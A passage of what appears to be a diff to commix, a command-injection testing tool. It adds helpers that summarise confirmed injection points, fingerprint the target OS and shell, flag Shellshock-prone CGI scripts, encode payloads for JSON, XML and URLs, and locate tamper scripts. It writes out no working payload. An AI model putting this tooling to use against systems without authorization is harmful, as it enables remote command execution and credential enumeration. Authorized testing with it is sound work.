settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) + return message + +""" +Ask to keep testing others after a confirmed finding - True means stop (quit/break). +""" +def prompt_keep_testing(url): + message = vulnerable_message(url) + " Do you want to keep testing the others (if any)? [y/N] " + procced_option = common.read_input(message, default="N", check_batch=True) + return procced_option in settings.CHOICE_NO + +""" +Reduce a technique name to its bare name for the summary block's "Technique:" line - +drops the "command injection"/"injection" filler word and the trailing "technique" word. +""" +def summary_technique_label(technique): + label = short_technique_label(technique) + if label.endswith(" technique"): + label = label[:-len(" technique")] + label = label[0].upper() + label[1:] + if technique == settings.INJECTION_TECHNIQUE.OOB and oob_channel_label(): + label += " (" + oob_channel_label() + ")" + return label + +""" +Name the channel an out-of-band finding came back over - a name lookup, or an HTTP(S) request. +""" +def oob_channel_label(transport=None): + transport = transport or settings.OOB_TRANSPORT + if not transport: + return "" + if transport == "dns": + return "DNS" + return (settings.OOB_SCHEME or "https").upper() + +""" +Name the boundary combination a finding was confirmed with - logged, not printed. +""" +def finding_title(separator, whitespace, prefix, suffix): + parts = [] + if separator: + parts.append("'" + separator + "' separator") + if whitespace: + parts.append("'" + whitespace + "' whitespace") + if prefix: + parts.append("prefix '" + prefix + "'") + if suffix: + parts.append("suffix '" + suffix + "'") + return ", ".join(parts) + +""" +The detail lines of a summary block - shared by the console summary and the log file. +""" +def finding_summary_lines(technique, injection_type, payload, title=None): + lines = [settings.SUB_CONTENT_SIGN_TYPE + "Technique: " + summary_technique_label(technique), + settings.SUB_CONTENT_SIGN_TYPE + "Type: " + injection_type[0].upper() + injection_type[1:]] + if title: + lines.append(settings.SUB_CONTENT_SIGN_TYPE + "Boundary: " + title) + # Shown the way every other payload in the run is shown, so the two never read as two payloads. + lines.append(settings.SUB_CONTENT_SIGN_TYPE + "Payload: " + settings.rendered_payload(payload)) + return lines + +""" +The parameter header line of a summary block. +""" +def finding_parameter_line(vuln_parameter, http_request_method): + return settings.SUB_CONTENT_SIGN + "Parameter: " + vuln_parameter + " (" + http_request_method + ")" + +""" +Print one block per row, grouped by parameter - rows start with +(technique, injection_type, vuln_parameter, payload, http_request_method). +""" +""" +What the target was worked out to be, said once and where the findings are. + +Only what is already in hand: every line here was settled by the requests detection had to send +anyway - the banners came back with the first response, and which shell answered is what a payload +that executed established. So nothing is asked of the target for it, and a line whose answer was +never learned is left out rather than filled in with a guess. +""" +def target_fingerprint_summary(): + # What the payloads were written for, and the one line of the three that a finding proves rather + # than a banner claims - so it leads, the way the rest of the run reports what it established. + technology = [] + if settings.SERVER_BANNER: + technology.append(" ".join(filter(None, (settings.SERVER_BANNER.split("/")[0], settings.SERVER_VERSION)))) + if settings.TARGET_APPLICATION: + technology.append(" ".join(filter(None, (settings.TARGET_APPLICATION, settings.TARGET_APPLICATION_VERSION)))) + shell_identified = settings.IDENTIFIED_TARGET_OS or menu.options.os + # The operating system is left to the enumeration that asks the target for it by name - said here + # it would only be the coarser of two answers to the same question. + if not technology and not shell_identified: + return + + settings.print_data_to_stdout( + settings.print_info_msg("Fetching the target environment.") + ) + if technology: + settings.print_data_to_stdout(settings.print_retrieved_data("Web application technology", ", ".join(technology))) + if shell_identified: + settings.print_data_to_stdout(settings.print_retrieved_data("Command shell type", target_shell_label())) + +""" +A payload written out with the parameter's own value at the front of it. + +Where the sink turned out not to need that value, it was stood in for by three random letters in +every request built after that, and the payloads kept here carry the stand-in. What this format is +modelled on writes the parameter's value into the line it prints, and a reader copying the line out +wants the value the target was given - which the sink ignores either way, since not needing it is +why it was dropped. Only the one at the front is rewritten; anything further in belongs to the +payload itself. + +A tamper script rewrites the stand-in along with everything else it is given, so the three letters +are no longer there to be found - and the payload would be written out carrying them while an +untampered one is written out carrying the value, which is the difference this is here to remove. +Putting the same scripts over the stand-in on its own says what they made of it, and what they make +of the real value goes back in its place. A script that reads more of a payload than the part it +rewrites leaves the two unable to line up, and the payload is then left as it is rather than +guessed at. +""" +def payload_with_own_value(payload): + payload = str(payload) + original, placeholder = settings.TESTABLE_VALUE_STOOD_IN_FOR, settings.TESTABLE_VALUE + if not original or not placeholder or original == placeholder: + return payload + if payload.startswith(placeholder): + return original + payload[len(placeholder):] + if not settings.MULTI_ENCODED_PAYLOAD: + return payload + # The scripts are handed a value rather than a payload here, so what they record about the last + # one they rewrote is put back - nothing else is meant to read this as a payload that was sent. + raw_payload = settings.RAW_PAYLOAD + try: + stood_in = perform_payload_modification(placeholder) + if stood_in != placeholder and payload.startswith(stood_in): + return perform_payload_modification(original) + payload[len(stood_in):] + except Exception: + pass + finally: + settings.RAW_PAYLOAD = raw_payload + return payload + +""" +The payload as it went out, rather than as the technique built it. + +A script that rewrites the payload's own text does so on the way to the target, so what the +technique still holds afterwards is the form from before it - and a finding reported in that form +names a payload the target refused. 'dashlesstest' is the plain case: the request carried +'[ ${#V} = 6 ]' and the summary printed the '-eq' that target rejects. + +Looked up rather than worked out again. Running the scripts a second time over the same payload +answers for the ones that rewrite it the same way every time and invents a payload for the rest - +'uninitializedvariable' puts its empty variable in at positions it draws at random, so a second +pass writes something that was never sent, which is the very thing this is here to stop. + +The latest rewrite of a payload is the one kept, since that is the request the finding was printed +behind. A script drawing afresh on every request writes the same payload out differently each time +it goes - 'space2randomblank' picks among its blanks per occurrence - so for those the form shown +is one of the requests that were really made rather than the single one that proved it. +""" +def note_payload_as_sent(payload_of_record, sent): + if payload_of_record == sent: + return + if len(settings.PAYLOADS_AS_SENT) > settings.MAX_PAYLOADS_AS_SENT: + settings.PAYLOADS_AS_SENT.clear() + settings.PAYLOADS_AS_SENT[payload_of_record] = sent + +def payload_as_sent(payload): + return settings.PAYLOADS_AS_SENT.get(payload, payload) + +def _injection_points_summary(header_msg, rows, decode_payload=False): + settings.print_data_to_stdout(header_msg) + prev_parameter = None + for index, row in enumerate(rows): + if index > 0: + settings.print_data_to_stdout("") + technique, injection_type, vuln_parameter, payload, http_request_method = row[:5] + current_parameter = (vuln_parameter, http_request_method) + if current_parameter != prev_parameter: + settings.print_data_to_stdout(finding_parameter_line(vuln_parameter, http_request_method)) + prev_parameter = current_parameter + # A row read back from a stored session holds the payload as the technique built it. Where this + # run sent it, that is what is shown; where it was another run's, nothing here knows what the + # scripts made of it then, and the payload stands as recorded rather than being guessed at. One + # confirmed this run had the value settled as it was recorded, while the parameter it was found + # on was still the one being tested - by the time this prints, another parameter's own value is + # what is on record, and a second rewrite here would read the wrong one back. + if decode_payload: + payload = payload_with_own_value(payload_as_sent(str(url_decode(payload)))) + for line in finding_summary_lines(technique, injection_type, payload): + settings.print_data_to_stdout(line) + """ + Said under the payloads it explains, for a reader following how they were built. + + Where the parameter's own value turns out not to be needed, it is dropped from every request built + after that point - so a payload found before it carries the real value and one found after carries + the short random one that stands in, and the two sit side by side here with nothing to say why + they differ. It is about how the run went rather than about the target, so it is said where the + rest of that is said. + """ + if settings.TESTABLE_VALUE_OPTIMIZED and settings.TESTABLE_VALUE and settings.VERBOSITY_LEVEL != 0: + debug_msg = "The parameter's own value was not required to reach the sink, so the requests " + debug_msg += "carried '" + settings.TESTABLE_VALUE + "' in its place." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + target_fingerprint_summary() + +""" +Print a summary of the injection points restored from a stored session. +""" +def resumed_injection_points_summary(rows): + # Stored payloads are url-encoded, unlike the ones held in memory this run. + _injection_points_summary("Resumed the following injection point(s) from stored session:", rows, decode_payload=True) + announce_stale_session() + +""" +Said where what was just shown was read back rather than found. + +Nothing above it was sent to the target this run, so how old the file it came out of is, is the +only thing that says how much of it still holds - a target that was patched a month ago answers +the same stored finding as one that was not. Read off that file, the way the age of the install +itself is read off its own. +""" +def announce_stale_session(): + days = settings.SESSION_FILE_AGE_DAYS + if days is None or days < settings.STALE_SESSION_DAYS: + return + warn_msg = "What is above was read back from a session file last written to " + str(days) + warn_msg += " days ago, so it may no longer hold. Re-run with the '--flush-session' switch to " + warn_msg += "test again, or '--ignore-session' to leave what is stored out of it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Print a summary of every injection point confirmed this run, deferred until quit() (one block per technique). +""" +def confirmed_injection_points_summary(): + rows = settings.CONFIRMED_INJECTION_POINTS + # The last row's snapshot of the running total is the total for the whole run, since the counter + # only grows - so this reads right whether one technique was confirmed or several. + header_msg = "Identified the following injection point(s) with a total of " + str(rows[-1][5]) + " HTTP(S) requests:" + _injection_points_summary(header_msg, rows) + +""" +Check 'os_shell' options +""" +def check_os_shell_options(cmd, filename, url): + if cmd in settings.SHELL_OPTIONS or cmd.split(" ", 1)[0] in ("use", "download", "upload"): + if cmd == "?": + menu.os_shell_options() + elif cmd == "back": + # Shell opens only after detection - nothing to go back to. + quit(filename, url, hard_exit=True) + else: + return cmd + +""" +Procced with file-based blind command injection technique, +once the user provides the path of web server's root directory. +""" +def procced_with_file_based_technique(): + while True: + message = "Due to the provided '--web-root' option, " + message += "do you want to proceed with the (blind) " + message += "file-based injection technique? [y/N] " + enable_fb = common.read_input(message, default="N", check_batch=True) + if enable_fb in settings.CHOICE_YES: + return True + elif enable_fb in settings.CHOICE_NO: + return False + elif enable_fb in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(enable_fb) + pass + +""" +Map a TCP mode's returned option to an action: 0 stay, 1 back, 2 os_shell, 3 the other mode. +""" +def check_tcp_mode_result(option, other_mode): + if option is False: + return 0 + elif option == "back": + return 1 + elif option == "os_shell": + return 2 + elif option == other_mode: + return 3 + +""" +An HTTP error code together with the reason phrase the server sent with it, where it sent one. +""" +def http_error_code_label(code, err=None): + reason = str(getattr(err, "reason", "") or "").strip() + return str(code) + (" " + reason if reason else "") + +""" +Whether a value is written out of nothing but digits. + +Asked with a pattern rather than with 'str.isdigit()', which answers for every character Unicode +calls a digit - a superscript two among them - and so reads a value no shell would take for a +number as one, ordering the boundaries that are tried first off it. +""" +def is_digit(value): + return re.search(r"\A[0-9]+\Z", value or "") is not None + +""" +Whether an HTTP error code is one the user chose to ignore, with '--ignore-code'. +""" +def ignored_http_error_code(code): + try: + return int(code) in [int(_) for _ in settings.IGNORE_CODE] + except (TypeError, ValueError): + return False + +""" +Stop spending the phases behind this check on a target that has already answered that it cannot +serve them. One place for every reason a target is unusable, so a new reason is a call rather than +a special case of its own further down. +""" +def target_unusable(reason, advice=""): + settings.TARGET_UNUSABLE = True + err_msg = reason + if advice: + err_msg += settings.SINGLE_WHITESPACE + advice + # One bad target must not end a run that has others waiting. + if settings.MULTI_TARGETS or settings.CRAWLING: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + " Skipping to the next target.")) + return False + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +A target whose first answer is '404' is a wrong URL far more often than a finding, so the run stops +to let it be corrected - asked once, and never in the middle of testing. +""" +def page_not_found(err=None): + if settings.IGNORE_NOT_FOUND or settings.NOT_FOUND_PROMPTED: + return settings.IGNORE_NOT_FOUND + settings.NOT_FOUND_PROMPTED = True + err_msg = "Page not found (" + settings.NOT_FOUND_ERROR + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + if settings.MULTI_TARGETS or settings.CRAWLING: + settings.TARGET_UNUSABLE = True + return False + message = "It is not recommended to continue in this kind of cases. " + message += "Do you want to quit and make sure that everything is set up properly? [Y/n] " + if common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO: + raise SystemExit(settings.EXIT_FAILURE) + settings.IGNORE_NOT_FOUND = True + return True + +""" +Ignore the error and continue testing; the choice is remembered for this code. +""" +def continue_tests(err): + # Ignoring (problematic) HTTP error codes. + if ignored_http_error_code(getattr(err, "code", None)): + return True + + # Possible WAF/IPS + try: + detect_waf(err) + if int(err.code) not in settings.WARNED_HTTP_ERROR_CODES: + warn_msg = "The web server responded with an HTTP error code '" + http_error_code_label(err.code, err) + warn_msg += "' which could interfere with the results of the tests." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.WARNED_HTTP_ERROR_CODES.add(int(err.code)) + return True + except AttributeError: + # No HTTP code (e.g. connection reset) - retry a bounded number of times. + if stability.should_retry_connection_error(err): + return True + settings.print_data_to_stdout(settings.print_critical_msg(err)) + return False + except KeyboardInterrupt: + raise + +""" +The options a Windows target cannot serve, already reported. +""" +UNAVAILABLE_OPTIONS = set() + +""" +Check if option is unavailable +""" +def unavailable_option(check_option): + # Reported once, wherever it was first said - the users enumeration says it in passing. + if check_option in UNAVAILABLE_OPTIONS: + return + UNAVAILABLE_OPTIONS.add(check_option) + warn_msg = "The option '" + check_option + "' " + warn_msg += "is currently not supported on Windows targets." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +No permission to list the target's users - said together with the password enumeration that a +Windows target cannot serve either, so the two do not take a line each. +""" +def no_user_enumeration_permission(): + warn_msg = "It seems you do not have permission to enumerate operating system users" + if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.passwords: + warn_msg += ", and the switch '--passwords' is not supported on Windows targets" + UNAVAILABLE_OPTIONS.add("--passwords") + warn_msg += "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Information message if platform does not have +GNU 'readline' module installed. +""" +def no_readline_module(): + warn_msg = "It seems your platform does " + warn_msg += "not have GNU 'readline' module installed." + if settings.IS_WINDOWS: + warn_msg += " Download the 'pyreadline' package (https://pypi.python.org/pypi/pyreadline) or the 'pyreadline3' package (https://pypi.python.org/pypi/pyreadline3) instead." + elif settings.PLATFORM == "mac": + warn_msg += " Download the 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)." + else: + # Everywhere else it ships with Python itself, so a missing one is the interpreter's own + # packaging rather than something to go and fetch from an index. + warn_msg += " It normally comes with Python, so install the package your distribution keeps it in (e.g. 'python3-readline'), or the 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)." + warn_msg += " Without it there is no tab completion and no command history." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Check for incompatible OS (i.e. Unix). +""" +def ps_incompatible_os(): + if not settings.TARGET_OS == settings.OS.WINDOWS: + warn_msg = "The identified OS seems incompatible with the provided '--ps-version' switch." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return True + +""" +Check if PowerShell is enabled. +""" +def ps_check(): + if settings.PS_ENABLED is None and (menu.options.is_admin or menu.options.users or menu.options.passwords): + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + while True: + message = "Some payloads in the selected options require PowerShell. " + message += "Do you want to use the '--ps-version' flag " + message += "to ensure it is enabled? [Y/n] " + ps_check = common.read_input(message, default="Y", check_batch=True) + if ps_check in settings.CHOICE_YES: + menu.options.ps_version = True + break + elif ps_check in settings.CHOICE_NO: + break + elif ps_check in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(ps_check) + pass + +""" +If PowerShell is disabled. +""" +def ps_check_failed(): + while True: + message = "Do you want to proceed despite the above warning? [Y/n] " + ps_check = common.read_input(message, default="Y", check_batch=True) + if ps_check in settings.CHOICE_YES: + break + elif ps_check in settings.CHOICE_NO: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + os._exit(0) + else: + common.invalid_option(ps_check) + pass + +""" +Perform basic heuristic checks for CGI scripts potentially vulnerable to Shellshock. +""" +def check_CGI_scripts(url): + # Named by the user, the module is on already and this is not here to take it back: the list read + # below is what commix knows of, not what the target serves, so a path missing from it is no + # reason to drop what '--module' asked for. + if "shellshock" in settings.USER_APPLIED_MODULE: + return + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking the target URL for known CGI scripts." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + CGI_SCRIPTS = common.load_list_from_file(settings.CGI_SCRIPTS, "CGI scripts list") + + script_found = False + for cgi_script in CGI_SCRIPTS: + if cgi_script in url: + from src.utils import session_handler + if session_handler.has_stored_shellshock(url): + # Already confirmed - the resumed summary says so. + menu.options.shellshock = True + return + + info_msg = "Heuristic (basic) test shows that target URL might be vulnerable to Shellshock " + info_msg += "(detected script: '" + cgi_script + "')." + script_found = True + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + + while True: + message = "Do you want to test for the Shellshock vulnerability, using the 'shellshock' module? [Y/n] " + shellshock_check = common.read_input(message, default="Y", check_batch=True) + if shellshock_check in settings.CHOICE_YES: + menu.options.shellshock = True + return + elif shellshock_check in settings.CHOICE_NO: + menu.options.shellshock = False + return + elif shellshock_check in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(shellshock_check) + pass + + if not script_found: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "No known CGI script found, skipping the 'shellshock' module." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + menu.options.shellshock = False + +""" +Safely parse a target URL into components. +""" +def check_url(url): + try: + return _urllib.parse.urlsplit(url) + except ValueError: + err_msg = "Invalid target URL provided. " + err_msg += "Please ensure there are no leftover characters (e.g. '[' or ']') " + err_msg += "in the hostname part." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +Verify whether the URL scheme is HTTP or HTTPS. +""" +def check_http_s(url): + # A fragment never leaves the client, so a payload placed after one would silently not be sent. + if "#" in url: + url, fragment = url.split("#", 1) + if fragment and not settings.FRAGMENT_IGNORED: + settings.FRAGMENT_IGNORED = True + warn_msg = "Ignoring the fragment ('#" + fragment + "') of the provided URL, since it is not sent to the target." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + url_split = check_url(url) + if url_split.username and url_split.password and "@" in url_split.netloc: + url = url.replace(url_split.netloc,url_split.netloc.split("@")[1]) + + if settings.SINGLE_WHITESPACE in url: + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) + + if not menu.options.proxy and (_urllib.parse.urlparse(url).hostname in ("localhost", "127.0.0.1") or menu.options.ignore_proxy): + menu.options.ignore_proxy = True + + if settings.CHECK_INTERNET: + url = settings.CHECK_INTERNET_ADDRESS + else: + # A target given without a scheme is given one rather than refused for not carrying it, which + # is what asking for the scheme first and prepending it inside that answer amounted to: ':443' + # asks for the secure one, anything else for plain. + if not re.search(r"^(http|ws)s?://", url, re.I): + if re.search(r":443\b", url): + url = "https://" + url + else: + url = "http://" + url + # Read again, or the scheme below is taken off the URL as it stood before one was added. + url_split = check_url(url) + if re.search(r'^(?:http)s?://', url, re.I): + settings.SCHEME = (url_split.scheme.strip().lower() or "http") if not menu.options.force_ssl else "https" + else: + err_msg = "Invalid target URL provided. " + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if _urllib.parse.urlparse(url).scheme != settings.SCHEME: + if menu.options.force_ssl and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Forcing usage of SSL/HTTPS requests." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + url = url.replace(_urllib.parse.urlparse(url).scheme, settings.SCHEME) + + return url + +""" +Checking connection (resolving hostname). +""" +def check_connection(url): + hostname = _urllib.parse.urlparse(url).hostname or '' + if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", hostname): + if not any((menu.options.proxy, menu.options.tor, menu.options.offline)): + try: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Resolving hostname '" + hostname + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + socket.getaddrinfo(hostname, None) + except socket.gaierror: + err_msg = "Host '" + hostname + "' does not exist." + if not settings.MULTI_TARGETS: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + except (socket.error, UnicodeError): + err_msg = "Problem occurred while " + err_msg += "resolving the hostname '" + hostname + "'" + if not settings.MULTI_TARGETS: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +Force the user-defined operating system. +""" +def user_defined_os(): + if menu.options.os: + if menu.options.os.lower() == "windows": + settings.TARGET_OS = settings.OS.WINDOWS + return True + # Both spellings, since 'Unix-like' is what commix calls the family everywhere else and 'Unix' + # is what this switch has always taken. + elif menu.options.os.lower() in ("unix", "unix-like"): + return True + else: + err_msg = "You defined an invalid value '" + menu.options.os + "' " + err_msg += "for the operating system. The value must be 'Windows' or 'Unix-like'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +Define the target operating system. +""" +def define_target_os(): + # The shellshock module only applies to a Linux/Unix operating system. + if menu.options.shellshock: + return + else: + while True: + """ + The shell is what could not be worked out; the operating system is what a person can + answer, and the shell follows from it. "the server's underlying" belonged to the banner + check that used to ask this - the question is about the target now, however it answered. + """ + message = "Do you recognize the target's operating system? " + message += "[(N)o/(u)nix-like/(w)indows/(q)uit] " + got_os = common.read_input(message, default="N", check_batch=True) + if got_os.lower() in settings.CHOICE_OS : + if got_os.lower() == "u": + return + elif got_os.lower() == "w": + settings.TARGET_OS = settings.OS.WINDOWS + return + elif got_os.lower() == "n": + settings.CHECK_BOTH_OS = True + + return + elif got_os.lower() == "q": + raise SystemExit() + else: + common.invalid_option(got_os) + pass + +""" +The one name the target's operating system is given, wherever it is printed. +""" +""" +A payload, escaped to sit inside a JSON string. + +A JSON string may not hold a raw control character, and three of the separators are exactly that - +a newline, a carriage return and a substitute character. Left as they were the body was not JSON at +all, the parser refused it, and the technique looked inapplicable to every JSON endpoint for a +reason that had nothing to do with the target. The backslash goes too, or one in the payload +escapes whatever follows it. +""" +def escape_json_value(value): + escaped = "" + for char in value: + if char < " " or char in ("\"", "\\"): + escaped += json.dumps(char)[1:-1] + else: + escaped += char + return escaped + +""" +A payload, with the characters XML cannot carry taken out. + +XML 1.0 admits no control character but tab, newline and carriage return - a substitute character +in a document makes it unparseable wherever it appears, so the separator that is one cannot travel +this way at all. +""" +def strip_xml_forbidden(value): + return "".join(char for char in value if char >= " " or char in "\t\n\r") + +def xml_encode_payload(payload): + """ + A payload on its way into a SOAP/XML body, with the characters the document cannot carry as + themselves written as their entities. + + What the shell receives is unchanged: the target's parser turns each entity back into the + character before the value is used. What changes is that the document stays well-formed, where + an '&' or a '<' of the payload's own would otherwise end the request at the parser instead of + at the shell. A numeric entity the payload wrote itself is kept, rather than having its own '&' + encoded a second time. + """ + if menu.options.skip_xmlencode: + return payload + marker = settings.RANDOM_TAG + payload = payload.replace("&#", marker) + payload = payload.replace("&", "&").replace(">", ">").replace("<", "<").replace("\"", """).replace("'", "'") + return payload.replace(marker, "&#") + +""" +Take the evaluated language from something the target already said about itself. + +'X-Powered-By: PHP/5.5.9' names the language before a single probe is sent, and the sweep would +otherwise go looking for it. Only a language commix has a grammar for counts, and only where the +user named none - what they asked for outranks what a header happens to mention. +""" +def note_evaluated_language(*banners): + if settings.IDENTIFIED_EVAL_LANGUAGE: + return + if menu.options.eval_sink and menu.options.eval_sink != settings.EVAL_ALL_LANGUAGES: + return + # Whichever of them names a language first: the URL's own extension is the narrower answer, and + # the header behind it names what the extension cannot spell. + for banner in banners: + if not banner: + continue + # A '.py' extension names Python as surely as the word does, so the short names count too. + for name in list(settings.SUPPORTED_EVAL_LANGUAGES) + list(settings.LANGUAGE_ALIASES): + if re.search(r"\b" + re.escape(name) + r"\b", banner, re.IGNORECASE): + language = settings.resolve_language(name) + if language in settings.SUPPORTED_EVAL_LANGUAGES: + settings.IDENTIFIED_EVAL_LANGUAGE = language + return + +def encode_payload(payload): + """ + A payload, encoded for a carrier that is URL-encoded. + + '%' is left alone, because the payloads write their own encoded sequences and re-encoding those + would send '%2520' where '%20' was meant. That leaves the corner case of a '%' that really is a + per-cent sign: it is not part of a '%XX', the target reads it as the start of one, and a strict + server answers 400 rather than running anything. + + So a '%' with no two hex digits behind it is made '%25' first - unless a tamper script is in play, + since those write escapes of their own and this cannot tell theirs from a stray one. + """ + # Sent as written, where the target is one that decodes what it is given a second time - or does + # not decode it at all. + if menu.options.skip_urlencode: + return payload + if "%" in payload and not menu.options.tamper: + payload = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", payload) + return _urllib.parse.quote(payload, safe=settings.payload_safe_chars()) + +def target_shell_label(): + """ + What a payload that executed actually established: which shell understood it. + + Not the operating system - a POSIX shell answers on Windows too, under WSL, Cygwin, Git Bash or + busybox, so 'a POSIX shell ran this' is no evidence of a Unix-like host. Which syntax works is + also the more useful half for whoever is reading, being the half they would act on. + + The standard rather than a shell's name, because which one it is was never asked: 'sh', 'bash', + 'dash' and 'zsh' all answer the same syntax, and only that syntax was shown to work. + """ + return "cmd.exe" if settings.TARGET_OS == settings.OS.WINDOWS else "POSIX" + +def target_os_label(): + """ + What is known is the family, not the distribution: which of the two payload shapes the target + answered. Windows names itself; everything else is Linux, macOS, a BSD or another Unix - so the + umbrella term for those is what is reported, rather than the shell that gave it away. + """ + return settings.OS.WINDOWS.title() if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like" + +""" +Record an identified operating system. Every check that fingerprints one comes through here, so the +value stored is always one of the two the rest of the code compares against - a server banner naming +a distribution is a name for that banner, not for the operating system - and a user who named their +own with '--os' is asked about a disagreement once, rather than being overruled by whichever check +happened to run last. +""" +def set_target_os(identified): + if not identified: + return + identified = settings.OS.WINDOWS if re.search(r"microsoft|win", identified, re.IGNORECASE) else settings.OS.UNIX + previous = settings.TARGET_OS + settings.TARGET_OS = identified + settings.IDENTIFIED_TARGET_OS = True + # Kept for the next run against this target, which then has nothing left to work out here. + if not menu.options.ignore_session and settings.TARGET_NETLOC: + from src.utils import session_handler + session_handler.import_target_os(settings.TARGET_NETLOC, identified) + if menu.options.os: + user_os = settings.OS.WINDOWS if menu.options.os.lower() == settings.OS.WINDOWS else settings.OS.UNIX + if user_os != identified and identified_os(): + settings.TARGET_OS = user_os + # A document root guessed before the operating system was settled is not one now. + if settings.TARGET_OS != previous and not settings.USER_APPLIED_WEB_ROOT and not settings.CUSTOM_WEB_ROOT: + if not web_root_matches_os(settings.WEB_ROOT): + settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT = "" + +""" +Remember the hardware platform the target answered with, so that what was already asked for once +does not have to be asked for again by whatever needs it next. +""" +def set_target_arch(identified): + if not identified: + return + identified = str(identified).strip() + if not identified: + return + settings.TARGET_ARCH = identified + # Kept for the next run against this target, the way the operating system is. + if not menu.options.ignore_session and settings.TARGET_NETLOC: + from src.utils import session_handler + session_handler.import_target_arch(settings.TARGET_NETLOC, identified) + +""" +Decision if the user-defined operating system name, +is different than the one identified by heuristics. +""" +def identified_os(): + # Asked once; every target after that is answered with what was decided then, rather than with + # nothing - which read as 'keep the identified one' and quietly dropped the user's own '--os'. + if settings.IGNORE_IDENTIFIED_TARGET_OS is not None: + return settings.IGNORE_IDENTIFIED_TARGET_OS + if settings.IGNORE_IDENTIFIED_TARGET_OS == None: + # Named the way the heuristics name it, so whichever check spotted the difference, the two + # messages read as the one finding rather than as two operating systems. + warn_msg = "Identified a different operating system (i.e. '" + warn_msg += target_os_label() + "') than the one you defined (i.e. '" + menu.options.os.title() + "')." + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + # Each letter names the operating system it settles on, and the capitalised one is the default. + message = "How do you want to proceed? [(K)eep the identified '" + target_os_label() + "'" + message += "/(f)orce the defined '" + menu.options.os.title() + "'/(q)uit] " + while True: + proceed_option = (common.read_input(message, default="K", check_batch=True) or "K").strip().lower() + if proceed_option in ("k", "f", "q"): + break + common.invalid_option(proceed_option) + if proceed_option == "f": + settings.IGNORE_IDENTIFIED_TARGET_OS = True + return settings.IGNORE_IDENTIFIED_TARGET_OS + elif proceed_option == "k": + settings.IGNORE_IDENTIFIED_TARGET_OS = False + return settings.IGNORE_IDENTIFIED_TARGET_OS + elif proceed_option == "q": + raise SystemExit() + +""" +Where each tamper script actually lives, now that they sit under a category directory rather than +all flat in one - built once per run and kept here, since nothing moves a script mid-run. + +Keyed by the bare name every caller already uses ('nashornexec', not 'eval.javascript.nashornexec') +so '--tamper=' and everything that reads it back stays exactly as it was before the scripts had +categories at all - only this lookup, and the glob the two callers below used to do directly, needs +to know where a name's file actually is. +""" +_TAMPER_SCRIPT_PATHS = None + +def tamper_script_paths(): + global _TAMPER_SCRIPT_PATHS + if _TAMPER_SCRIPT_PATHS is None: + _TAMPER_SCRIPT_PATHS = {} + pattern = os.path.join(settings.TAMPER_SCRIPTS_PATH, "**", "*.py") + for script in sorted(glob(pattern, recursive=True)): + name = os.path.basename(script)[:-len(".py")] + if name == "__init__": + continue + _TAMPER_SCRIPT_PATHS[name] = script + + return _TAMPER_SCRIPT_PATHS + +""" +The dotted module path a tamper script's bare name imports as, wherever its category placed it. +""" +def tamper_module_path(name): + script = tamper_script_paths().get(name) + if not script: + return "src.tamper." + name + rel = os.path.relpath(script, settings.TAMPER_SCRIPTS_PATH)[:-len(".py")] + return "src.tamper." + rel.replace(os.sep, ".") + +""" +The tamper scripts the user named, rejected here if any of them names nothing. + +Run before the target is touched: an option that cannot be acted on is the user's to correct, and +leaving it until the payloads are built costs a connection test and a WAF probe to find out. +""" +def validate_tamper_scripts(): + # An encoding named the old way is taken as an encoding before it is judged as a script name. + absorb_encoding_tampers() + if not menu.options.tamper and not settings.AUTO_TAMPER: + return [] + # What '--tamper' named, then whatever this run adopted for the parameter in hand - the two are + # kept in separate places and only ever read together, here. + raw_scripts = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()) if menu.options.tamper else [] + raw_scripts = raw_scripts + list(settings.AUTO_TAMPER) + provided_scripts = list(dict.fromkeys(script.strip() for script in raw_scripts if script.strip())) + 